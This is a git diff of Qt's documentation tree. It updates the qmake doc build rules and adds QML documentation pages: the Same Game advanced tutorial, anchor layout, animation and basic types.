diff options
Diffstat (limited to 'doc')
313 files changed, 14381 insertions, 905 deletions
diff --git a/doc/doc.pri b/doc/doc.pri index 463c447..3d04049 100644 --- a/doc/doc.pri +++ b/doc/doc.pri @@ -21,26 +21,36 @@ $$unixstyle { } ADP_DOCS_QDOCCONF_FILE = qt-build-docs.qdocconf QT_DOCUMENTATION = ($$QDOC qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \ - linguist.qdocconf qmake.qdocconf) && \ + linguist.qdocconf qmake.qdocconf qdeclarative.qdocconf) && \ (cd $$QT_BUILD_TREE && \ $$GENERATOR doc-build/html-qt/qt.qhp -o doc/qch/qt.qch && \ $$GENERATOR doc-build/html-assistant/assistant.qhp -o doc/qch/assistant.qch && \ $$GENERATOR doc-build/html-designer/designer.qhp -o doc/qch/designer.qch && \ $$GENERATOR doc-build/html-linguist/linguist.qhp -o doc/qch/linguist.qch && \ - $$GENERATOR doc-build/html-qmake/qmake.qhp -o doc/qch/qmake.qch \ + $$GENERATOR doc-build/html-qmake/qmake.qhp -o doc/qch/qmake.qch && \ + $$GENERATOR doc-build/html-qml/qml.qhp -o doc/qch/qml.qch \ + ) + +QT_ZH_CN_DOCUMENTATION = ($$QDOC qt-api-only_zh_CN.qdocconf) && \ + (cd $$QT_BUILD_TREE && \ + $$GENERATOR doc-build/html-qt_zh_CN/qt.qhp -o doc/qch/qt_zh_CN.qch \ ) win32-g++:isEmpty(QMAKE_SH) { QT_DOCUMENTATION = $$replace(QT_DOCUMENTATION, "/", "\\\\") + QT_ZH_CN_DOCUMENTATION = $$replace(QT_ZH_CN_DOCUMENTATION, "/", "\\\\") } # Build rules: adp_docs.commands = ($$QDOC $$ADP_DOCS_QDOCCONF_FILE) -adp_docs.depends += sub-tools # qdoc3 +adp_docs.depends += sub-qdoc3 # qdoc3 qch_docs.commands = $$QT_DOCUMENTATION -qch_docs.depends += sub-tools +qch_docs.depends += sub-qdoc3 -docs.depends = adp_docs qch_docs +docs.depends = sub-qdoc3 adp_docs qch_docs + +docs_zh_CN.depends = docs +docs_zh_CN.commands = $$QT_ZH_CN_DOCUMENTATION # Install rules htmldocs.files = $$QT_BUILD_TREE/doc/html @@ -54,5 +64,8 @@ qchdocs.CONFIG += no_check_exist docimages.files = $$QT_BUILD_TREE/doc/src/images docimages.path = $$[QT_INSTALL_DOCS]/src -QMAKE_EXTRA_TARGETS += qdoc adp_docs qch_docs docs +sub-qdoc3.depends = sub-corelib sub-xml +sub-qdoc3.commands += (cd tools/qdoc3 && $(MAKE)) + +QMAKE_EXTRA_TARGETS += sub-qdoc3 adp_docs qch_docs docs docs_zh_CN INSTALLS += htmldocs qchdocs docimages diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc new file mode 100644 index 0000000..751bf00 --- /dev/null +++ b/doc/src/declarative/advtutorial.qdoc @@ -0,0 +1,458 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-advtutorial.html +\title QML Advanced Tutorial +\brief A more advanced tutorial, showing how to use QML to create a game. +\nextpage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks + +This tutorial walks step-by-step through the creation of a full application using QML. +It assumes that you already know the basics of QML (for example, from reading the +\l{QML Tutorial}{simple tutorial}). + +In this tutorial we write a game, \e {Same Game}, based on the Same Game application +included in the declarative \c demos directory, which looks like this: + +\image declarative-samegame.png + +We will cover concepts for producing a fully functioning application, including +JavaScript integration, using QML \l States and \l {Behavior}{Behaviors} to +manage components and enhance your interface, and storing persistent application data. + +An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't +know JavaScript you can still get a feel for how you can integrate backend logic to create and +control QML elements. + + +Tutorial chapters: + +\list 1 +\o \l {QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks}{Creating the Game Canvas and Blocks} +\o \l {QML Advanced Tutorial 2 - Populating the Game Canvas}{Populating the Game Canvas}} +\o \l {QML Advanced Tutorial 3 - Implementing the Game Logic}{Implementing the Game Logic} +\o \l {QML Advanced Tutorial 4 - Finishing Touches}{Finishing Touches} +\endlist + +All the code in this tutorial can be found in the $QTDIR/examples/declarative/tutorials/samegame +directory. +*/ + +/*! +\page qml-advtutorial1.html +\title QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks +\contentspage QML Advanced Tutorial +\previouspage QML Advanced Tutorial +\nextpage QML Advanced Tutorial 2 - Populating the Game Canvas + +In this chapter: + +\tableofcontents + +The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame1. + +\section2 Creating the application screen + +The first step is to create the basic QML items in your application. + +To begin with, we create our Same Game application with a main screen like this: + +\image declarative-adv-tutorial1.png + +This is defined by the main application file, \c samegame.qml, which looks like this: + +\snippet declarative/tutorials/samegame/samegame1/samegame.qml 0 + +This gives you a basic game window that includes the main canvas for the +blocks, a "New Game" button and a score display. + +One item you may not recognize here +is the \l SystemPalette item. This provides access to the Qt system palette +and is used to give the button a more native look-and-feel. + +Notice the anchors for the \c Item, \c Button and \c Text elements are set using +\l {Grouped Properties}{group notation} for readability. + +\section2 Adding \c Button and \c Block components + +The \c Button item in the code above is defined in a separate file named \c Button.qml. +To create a functional button, we use the QML elements \l Text and \l MouseArea inside a \l Rectangle. +Here is the \c Button.qml code: + +\snippet declarative/tutorials/samegame/samegame1/Button.qml 0 + +In Same Game, the screen is filled with small blocks when the game begins. +Each block is just an item that contains an image. The block +code is defined in a separate \c Block.qml file: + +\snippet declarative/tutorials/samegame/samegame1/Block.qml 0 + +At the moment, the block doesn't do anything; it is just an image. As the +tutorial progresses we will animate and give behaviors to the blocks. +We have not added any code yet to create the blocks; we will do this +in the next chapter. + +We have set the image to be the size of its parent Item using \c {anchors.fill: parent}. +This means that when we dynamically create and resize the block items +later on in the tutorial, the image will be scaled automatically to the +correct size. + +Notice the relative path for the Image element's \c source property. +This path is relative to the location of the file that contains the \l Image element. +Alternatively, you could set the Image source to an absolute file path or a URL +that contains an image. + +You should be familiar with the code so far. We have just created some basic +elements to get started. Next, we will populate the game canvas with some blocks. +*/ + + +/*! +\page qml-advtutorial2.html +\title QML Advanced Tutorial 2 - Populating the Game Canvas +\contentspage QML Advanced Tutorial +\previouspage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks +\nextpage QML Advanced Tutorial 3 - Implementing the Game Logic + +In this chapter: + +\tableofcontents + +The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame2. + + +\section2 Generating the blocks in JavaScript + +Now that we've written some basic elements, let's start writing the game. + +The first task is to generate the game blocks. Each time the New Game button +is clicked, the game canvas is populated with a new, random set of +blocks. Since we need to dynamically generate new blocks for each new game, +we cannot use \l Repeater to define the blocks. Instead, we will +create the blocks in JavaScript. + +Here is the JavaScript code for generating the blocks, contained in a new +file, \c samegame.js. The code is explained below. + +\snippet declarative/tutorials/samegame/samegame2/samegame.js 0 + +The \c startNewGame() function deletes the blocks created in the previous game and +calculates the number of rows and columns of blocks required to fill the game window for the new game. +Then, it creates an array to store all the game +blocks, and calls \c createBlock() to create enough blocks to fill the game window. + +The \c createBlock() function creates a block from the \c Block.qml file +and moves the new block to its position on the game canvas. This involves several steps: + +\list +\o \l {createComponent(url file)}{createComponent()} is called to generate an element from \c Block.qml. + If the component is ready, we can call \c createObject() to create an instance of the \c Block item. +\o If \c createObject() returned null (i.e. if there was an error while + loading the object), print the error information. +\o Place the block in its position on the board and set its width and height. + Also, store it in the blocks array for future reference. +\o Finally, print error information to the console if the component could not be + loaded for some reason (for example, if the file is missing). +\endlist + + +\section2 Connecting JavaScript components to QML + +Now we need to call the JavaScript code in \c samegame.js from our QML files. +To do this, we add this line to \c samegame.qml which imports +the JavaScript file as a \l{Modules#QML Modules}{module}: + +\snippet declarative/tutorials/samegame/samegame2/samegame.qml 2 + +This allows us to refer to any functions within \c samegame.js using "SameGame" +as a prefix: for example, \c SameGame.startNewGame() or \c SameGame.createBlock(). +This means we can now connect the New Game button's \c onClicked handler to the \c startNewGame() +function, like this: + +\snippet declarative/tutorials/samegame/samegame2/samegame.qml 1 + +So, when you click the New Game button, \c startNewGame() is called and generates a field of blocks, like this: + +\image declarative-adv-tutorial2.png + +Now, we have a screen of blocks, and we can begin to add the game mechanics. + +*/ + +/*! +\page qml-advtutorial3.html +\title QML Advanced Tutorial 3 - Implementing the Game Logic +\contentspage QML Advanced Tutorial +\previouspage QML Advanced Tutorial 2 - Populating the Game Canvas +\nextpage QML Advanced Tutorial 4 - Finishing Touches + +In this chapter: + +\tableofcontents + +The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame3. + +\section2 Making a playable game + +Now that we have all the game components, we can add the game logic that +dictates how a player interacts with the blocks and plays the game +until it is won or lost. + +To do this, we have added the following functions to \c samegame.js: + +\list +\o function \c{handleClick(x,y)} +\o function \c{floodFill(xIdx,yIdx,type)} +\o function \c{shuffleDown()} +\o function \c{victoryCheck()} +\o function \c{floodMoveCheck(xIdx, yIdx, type)} +\endlist + +As this is a tutorial about QML, not game design, we will only discuss \c handleClick() and \c victoryCheck() below since they interface directly with the QML elements. Note that although the game logic here is written in JavaScript, it could have been written in C++ and then exposed to JavaScript. + +\section3 Enabling mouse click interaction + +To make it easier for the JavaScript code to interface with the QML elements, we have added an Item called \c gameCanvas to \c samegame.qml. It replaces the background as the item which contains the blocks. It also accepts mouse input from the user. Here is the item code: + +\snippet declarative/tutorials/samegame/samegame3/samegame.qml 1 + +The \c gameCanvas item is the exact size of the board, and has a \c score property and a \l MouseArea to handle mouse clicks. +The blocks are now created as its children, and its dimensions are used to determine the board size so that +the application scales to the available screen size. +Since its size is bound to a multiple of \c blockSize, \c blockSize was moved out of \c samegame.js and into \c samegame.qml as a QML property. +Note that it can still be accessed from the script. + +When clicked, the \l MouseArea calls \c{handleClick()} in \c samegame.js, which determines whether the player's click should cause any blocks to be removed, and updates \c gameCanvas.score with the current score if necessary. Here is the \c handleClick() function: + +\snippet declarative/tutorials/samegame/samegame3/samegame.js 1 + +Note that if \c score was a global variable in the \c{samegame.js} file you would not be able to bind to it. You can only bind to QML properties. + +\section3 Updating the score + +When the player clicks a block and triggers \c handleClick(), \c handleClick() also calls \c victoryCheck() to update the score and to check whether the player has completed the game. Here is the \c victoryCheck() code: + +\snippet declarative/tutorials/samegame/samegame3/samegame.js 2 + +This updates the \c gameCanvas.score value and displays a "Game Over" dialog if the game is finished. + +The Game Over dialog is created using a \c Dialog element that is defined in \c Dialog.qml. Here is the \c Dialog.qml code. Notice how it is designed to be usable imperatively from the script file, via the functions and signals: + +\snippet declarative/tutorials/samegame/samegame3/Dialog.qml 0 + +And this is how it is used in the main \c samegame.qml file: + +\snippet declarative/tutorials/samegame/samegame3/samegame.qml 2 + + +\section3 A dash of color + +It's not much fun to play Same Game if all the blocks are the same color, so we've modified the \c createBlock() function in \c samegame.js to randomly create a different type of block (for either red, green or blue) each time it is called. \c Block.qml has also changed so that each block contains a different image depending on its type: + +\snippet declarative/tutorials/samegame/samegame3/Block.qml 0 + + +\section2 A working game + +Now we now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you can start a new one). +Here is a screenshot of what has been accomplished so far: + +\image declarative-adv-tutorial3.png + +This is what \c samegame.qml looks like now: + +\snippet declarative/tutorials/samegame/samegame3/samegame.qml 0 + +The game works, but it's a little boring right now. Where are the smooth animated transitions? Where are the high scores? +If you were a QML expert you could have written these in the first iteration, but in this tutorial they've been saved +until the next chapter - where your application becomes alive! + +*/ + +/*! +\page qml-advtutorial4.html +\title QML Advanced Tutorial 4 - Finishing Touches +\contentspage QML Advanced Tutorial +\previouspage QML Advanced Tutorial 3 - Implementing the Game Logic + +In this chapter: + +\tableofcontents + +The files referenced on this page can be found in \c $QTDIR\examples\tutorials\samegame\samegame4. + +\section2 Adding some flair + +Now we're going to do two things to liven up the game: animate the blocks and add a High Score system. + +We've also cleaned up the directory structure for our application files. We now have a lot of files, so all the +JavaScript and QML files outside of \c samegame.qml have been moved into a new sub-directory named "content". + +In anticipation of the new block animations, \c Block.qml file is now renamed to \c BoomBlock.qml. + +\section3 Animating block movement + +First we will animate the blocks so that they move in a fluid manner. QML has a number of methods for adding fluid +movement, and in this case we're going to use the \l SpringFollow element to add an animation with a spring-like +movement. In \c BoomBlock.qml, we apply a \l SpringFollow +to the \c x and \c y properties so that the block will follow and animate its movement towards the +position specified by the new \c targetX and \c targetY properties (whose values will be set by \c samegame.js). +Here is the code added to \c BoomBlock.qml: + +\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 1 + +The \c spring and \c damping values can be changed to modify the spring-like effect of the animation. + +The \c {enabled: spawned} setting refers to the \c spawned value that is set from \c createBlock() in \c samegame.js. +This ensures the \l SpringFollow on the \c x is only enabled after \c createBlock() has set the block to +the correct position. Otherwise, the blocks will slide out of the corner (0,0) when a game begins, instead of falling +from the top in rows. (Try commenting out \c {enabled: spawned} and see for yourself.) + +\section3 Animating block opacity changes + +Next, we will add a smooth exit animation. For this, we'll use a \l Behavior element, which allows us to specify +a default animation when a property change occurs. In this case, when the \c opacity of a Block changes, we will +animate the opacity value so that it gradually fades in and out, instead of abruptly changing between fully +visible and invisible. To do this, we'll apply a \l Behavior on the \c opacity property of the \c Image +element in \c BoomBlock.qml: + +\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 2 + +Note the \c{opacity: 0} which means the block is transparent when it is first created. We could set the opacity +in \c samegame.js when we create and destroy the blocks, +but instead we'll use \l{QML States}{states}, since this is useful for the next animation we're going to add. +Initially, we add these States to the root element of \c{BoomBlock.qml}: +\code + property bool dying: false + states: [ + State{ name: "AliveState"; when: spawned == true && dying == false + PropertyChanges { target: img; opacity: 1 } + }, + State{ name: "DeathState"; when: dying == true + PropertyChanges { target: img; opacity: 0 } + } + ] +\endcode + +Now blocks will automatically fade in, as we already set \c spawned to true when we implemented the block animations. +To fade out, we set \c dying to true instead of setting opacity to 0 when a block is destroyed (in the \c floodFill() function). + +\section3 Adding particle effects + +Finally, we'll add a cool-looking particle effect to the blocks when they are destroyed. To do this, we first add a \l Particles element in +\c BoomBlock.qml, like so: + +\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 3 + +To fully understand this you should read the \l Particles documentation, but it's important to note that \c emissionRate is set +to zero so that particles are not emitted normally. +Also, we extend the \c dying State, which creates a burst of particles by calling the \c burst() method on the particles element. The code for the states now look +like this: + +\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 4 + +Now the game is beautifully animated, with subtle (or not-so-subtle) animations added for all of the +player's actions. The end result is shown below, with a different set of images to demonstrate basic theming: + +\image declarative-adv-tutorial4.gif + +The theme change here is produced simply by replacing the block images. This can be done at runtime by changing the \l Image \c source property, so for a further challenge, you could add a button that toggles between themes with different images. + +\section2 Keeping a High Scores table + +Another feature we might want to add to the game is a method of storing and retrieving high scores. + +In \c samegame.qml we now pop up a dialog when the game is over and requests the player's name so it can be added to a High Scores table. The dialog is created using \c Dialog.qml: + +\snippet declarative/tutorials/samegame/samegame4/samegame.qml 0 + +When the dialog is closed, we call the new \c saveHighScore() function in \c samegame.js, which stores the high score locally in an SQL database and also send the score to an online database if possible. + + +\section3 Storing high scores offline + +Here is the \c saveHighScore() function in \c samegame.js: + +\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 2 + +First we call \c sendHighScore() (explained in the section below) if it is possible to send the high scores to an online database. + +Then, we use the \l{Offline Storage API} to maintain a persistant SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrival, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string. + +This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could beter present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database. + +\section3 Storing high scores online + +You've seen how you can store high scores locally, but it is also easy to integrate a web-enabled high score storage into your QML application. The implementation we've done her is very +simple: the high score data is posted to a php script running on a server somewhere, and that server then stores it and +displays it to visitors. You could also request an XML or QML file from that same server, which contains and displays the scores, +but that's beyond the scope of this tutorial. The php script we use here is available in the \c examples directory. + +If the player entered their name we can send the data to the web service us + +If the player enters a name, we send the data to the service using this code in \c samegame.js: + +\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 1 + +The \c XMLHttpRequest in this code is the same \c XMLHttpRequest() as you'll find in standard browser JavaScript, and can be used in the same way to dynamically get XML +or QML from the web service to display the high scores. We don't worry about the response in this case - we just post the high +score data to the web server. If it had returned a QML file (or a URL to a QML file) you could instantiate it in much the same +way as you did with the blocks. + +An alternate way to access and submit web-based data would be to use QML elements designed for this purpose. XmlListModel +makes it very easy to fetch and display XML based data such as RSS in a QML application (see the Flickr demo for an example). + + +\section2 That's it! + +By following this tutorial you've seen how you can write a fully functional application in QML: + +\list +\o Build your application with \l {{QML Elements}}{QML elements} +\o Add application logic \l{Integrating JavaScript}{with JavaScript code} +\o Add animations with \l {Behavior}{Behaviors} and \l{QML States}{states} +\o Store persistent application data using, for example, the \l{Offline Storage API} or \l XMLHttpRequest +\endlist + +There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the +demos and examples and the \l {Declarative UI (QML)}{documentation} to find out all the things you can do with QML! + +*/ diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc new file mode 100644 index 0000000..ff47694 --- /dev/null +++ b/doc/src/declarative/anchor-layout.qdoc @@ -0,0 +1,111 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page anchor-layout.html +\target anchor-layout +\title Anchor-based Layout in QML + +In addition to the more traditional \l Grid, \l Row, and \l Column, QML also provides a way to layout items using the concept of \e anchors. Each item can be thought of as having a set of 6 invisible "anchor lines": \e left, \e horizontalCenter, \e right, \e top, \e verticalCenter, and \e bottom. + +\image edges_qml.png + +The QML anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write: + +\code +Rectangle { id: rect1; ... } +Rectangle { id: rect2; anchors.left: rect1.right; ... } +\endcode + +In this case, the left edge of \e rect2 is bound to the right edge of \e rect1, producing the following: + +\image edge1.png + +The anchoring system also allows you to specify margins and offsets. Margins specify the amount of empty space to leave to the outside of an item, while offsets allow you to manipulate positioning using the center anchor lines. Note that margins specified using the anchor layout system only have meaning for anchors; they won't have any effect when using other layouts or absolute positioning. + +\image margins_qml.png + +The following example specifies a left margin: + +\code +Rectangle { id: rect1; ... } +Rectangle { id: rect2; anchors.left: rect1.right; anchors.leftMargin: 5; ... } +\endcode + +In this case, a margin of 5 pixels is reserved to the left of \e rect2, producing the following: + +\image edge2.png + +You can specify multiple anchors. For example: + +\code +Rectangle { id: rect1; ... } +Rectangle { id: rect2; anchors.left: rect1.right; anchors.top: rect1.bottom; ... } +\endcode + +\image edge3.png + +By specifying multiple horizontal or vertical anchors you can control the size of an item. For example: + +\code +Rectangle { id: rect1; x: 0; ... } +Rectangle { id: rect2; anchors.left: rect1.right; anchors.right: rect3.left; ... } +Rectangle { id: rect3; x: 150; ... } +\endcode + +\image edge4.png + +\section1 Limitations + +For performance reasons, you can only anchor an item to its siblings and direct parent. For example, the following anchor would be considered invalid and would produce a warning: + +\badcode +Item { + id: group1 + Rectangle { id: rect1; ... } +} +Item { + id: group2 + Rectangle { id: rect2; anchors.left: rect1.right; ... } // invalid anchor! +} +\endcode + +*/ diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc new file mode 100644 index 0000000..9969e8f --- /dev/null +++ b/doc/src/declarative/animation.qdoc @@ -0,0 +1,267 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativeanimation.html +\title QML Animation + +Animation in QML is done by animating properties of objects. Properties of type +real, int, color, rect, point, size, and vector3d can all be animated. + +QML supports three main forms of animation - basic property animation, +transitions, and property behaviors. + +\tableofcontents + +\section1 Basic Property Animation + +The simplest form of animation is directly using \l PropertyAnimation, which can animate all of the property +types listed above. If the property you are animating is a number or color, you can alternatively use +NumberAnimation or ColorAnimation. These elements don't add any additional functionality, +but will help enforce type correctness and are slightly more efficient. + +A property animation can be specified as a value source using the \e Animation \bold on \e property syntax. This is especially useful +for repeating animations. + +The following example creates a bouncing effect: +\qml +Rectangle { + id: rect + width: 120; height: 200; + Image { + id: img + source: "qt-logo.png" + x: 60-img.width/2 + y: 0 + SequentialAnimation on y { + loops: Animation.Infinite + NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 } + PauseAnimation { duration: 1000 } + NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 } + } + } +} +\endqml + +\image propanim.gif + +When you assign an animation as a value source, you do not need to specify \c property +or \c target; they are automatically selected for you. You do, however, need to specify \c to. +An animation specified as a value source will be \c running by default. + +\qml +Rectangle { + id: rect + width: 200; height: 200; + Rectangle { + color: "red" + width: 50; height: 50 + NumberAnimation on x { to: 50; } + } +} +\endqml + +A property animation can also be specified as a resource that is manipulated from script. + +\qml +PropertyAnimation { + id: animation + target: image + property: "scale" + from: 1; to: .5 +} +Image { + id: image + source: "image.png" + MouseArea { + anchors.fill: parent + onPressed: animation.start() + } +} +\endqml + +As can be seen, when an animation is used like this (as opposed to as a value source) you will need +to explicitly set the \c target and \c property to animate. + +Animations can be joined into a group using SequentialAnimation and ParallelAnimation. + +\target state-transitions +\section1 Transitions + +QML transitions describe animations to perform when \l{qmlstates}{state} changes occur. A transition +can only be triggered by a state change. + +For example, a transition could describe how an item moves from its initial position to its new position: + +\code +transitions: [ + Transition { + NumberAnimation { + properties: "x,y" + easing.type: "OutBounce" + duration: 200 + } + } +] +\endcode + +As can be seen, transitions make use of the same basic animation classes introduced above. +In the above example we have specified that we want to animate the \c x and \c y properties, but have not +specified the objects to animate or the \c to values. By default these values are supplied by the framework -- +the animation will animate any \c targets whose \c x and \c y have changed, and the \c to values will be those +defined in the end state. You can always supply explicit values to override these implicit values when needed. + +\code +Transition { + from: "*" + to: "MyState" + reversible: true + SequentialAnimation { + NumberAnimation { + duration: 1000 + easing.type: "OutBounce" + // animate myItem's x and y if they have changed in the state + target: myItem + properties: "x,y" + } + NumberAnimation { + duration: 1000 + // animate myItem2's y to 200, regardless of what happens in the state + target: myItem2 + property: "y" + to: 200 + } + } +} +\endcode + +QML transitions have selectors to determine which state changes a transition should apply to. +The following transition will only be triggered when we enter into the \c "details" state. + +\code +Transition { + from: "*" + to: "details" + ... +} +\endcode + +Transitions can happen in parallel, in sequence, or in any combination of the two. By default, the top-level +animations in a transition will happen in parallel. The following example shows a rather complex transition +making use of both sequential and parallel animations: + +\code +Transition { + from: "*" + to: "MyState" + reversible: true + SequentialAnimation { + ColorAnimation { duration: 1000 } + PauseAnimation { duration: 1000 } + ParallelAnimation { + NumberAnimation { + duration: 1000 + easing.type: "OutBounce" + targets: box1 + properties: "x,y" + } + NumberAnimation { + duration: 1000 + targets: box2 + properties: "x,y" + } + } + } +} +\endcode + +\section1 Property Behaviors + +A \l{Behavior}{property behavior} specifies a default animation to run whenever the property's value changes, regardless +of what caused the change. The \c enabled property can be used to force a \l Behavior +to only apply under certain circumstances. + +In the following snippet, we specify that we want the x position of redRect to be animated +whenever it changes. The animation will last 300 milliseconds and use an InOutQuad easing curve. + +\qml +Rectangle { + id: redRect + color: "red" + width: 100; height: 100 + Behavior on x { NumberAnimation { duration: 300; easing.type: "InOutQuad" } } +} +\endqml + +Like using an animation as a value source, when used in a Behavior and animation does not need to specify +a \c target or \c property. + +To trigger this behavior, we could: +\list +\o Enter a state that changes x + +\qml +State { + name: "myState" + PropertyChanges { + target: redRect + x: 200 + ... + } +} +\endqml + +\o Update x from a script + +\qml +MouseArea { + .... + onClicked: redRect.x = 24; +} +\endqml +\endlist + +If x were bound to another property, triggering the binding would also trigger the behavior. + +If a state change has a transition animation matching a property with a Behavior, the transition animation +will override the Behavior for that state change. + +*/ diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc new file mode 100644 index 0000000..6901947 --- /dev/null +++ b/doc/src/declarative/basictypes.qdoc @@ -0,0 +1,358 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page qdeclarativebasictypes.html + \title QML Basic Types + + QML uses a set of property types, which are primitive within QML. + These basic types are referenced throughout the documentation of the + QML elements. Almost all of them are exactly what you would expect. + + \annotatedlist qmlbasictypes +*/ + +/*! + \qmlbasictype int + \ingroup qmlbasictypes + + \brief An integer is a whole number, e.g. 0, 10, or -20. + + An integer is a whole number, e.g. 0, 10, or -20. The possible \c + int values range from around -2000000000 to around 2000000000, + although most elements will only accept a reduced range (which they + mention in their documentation). + + Example: + \qml + Item { width: 100; height: 200 } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype bool + \ingroup qmlbasictypes + + \brief A boolean is a binary true/false value. + + A boolean is a binary true/false value. + + Example: + \qml + Item { focus: true; clip: false } + \endqml + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype real + \ingroup qmlbasictypes + + \brief A real number has a decimal point, e.g. 1.2 or -29.8. + + A real number has a decimal point, e.g. 1.2 or -29.8. + + Example: + \qml + Item { width: 100.45; height: 150.82 } + \endqml + + \note In QML all reals are stored in single precision, \l + {http://en.wikipedia.org/wiki/IEEE_754} {IEEE floating point} + format. + + \sa {QML Basic Types} +*/ + +/*! + \qmlbasictype string + \ingroup qmlbasictypes + + \brief A string is a free form text in quotes, e.g. "Hello world!". 